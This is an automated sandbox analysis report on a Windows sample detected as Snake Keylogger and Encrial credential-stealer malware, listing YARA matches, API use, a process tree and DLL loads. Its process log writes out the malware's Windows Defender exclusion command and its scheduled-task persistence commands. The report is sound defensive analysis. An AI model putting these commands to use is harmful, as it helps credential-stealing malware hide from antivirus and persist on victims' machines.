Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: UOEAjWmusE.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gJdonuKfIrqN.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, DO0t4SpngkX2NaXBd4.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.UOEAjWmusE.exe.9970000.5.raw.unpack, CN5yYHyRFbwxLmQByk.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/10@3/3

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1360:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6392:120:WilError_03

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File created: C:\Users\user\AppData\Local\Temp\tmpF362.tmp

Jump to behavior

Source: UOEAjWmusE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: UOEAjWmusE.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002DD3000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3770064855.0000000003CED000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002DBF000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, UOEAjWmusE.exe, 00000007.00000002.3767694744.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002E4F000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002E63000.00000004.00000800.00020000.00000000.sdmp, gJdonuKfIrqN.exe, 0000000C.00000002.3768174332.0000000002E70000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: UOEAjWmusE.exe	Virustotal: Detection: 74%
Source: UOEAjWmusE.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\UOEAjWmusE.exe

File read: C:\Users\user\Desktop\UOEAjWmusE.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmpF362.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Process created: C:\Users\user\Desktop\UOEAjWmusE.exe "C:\Users\user\Desktop\UOEAjWmusE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gJdonuKfIrqN" /XML "C:\Users\user\AppData\Local\Temp\tmp43A.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Process created: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe "C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe"	Jump to behavior

Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UOEAjWmusE.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gJdonuKfIrqN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
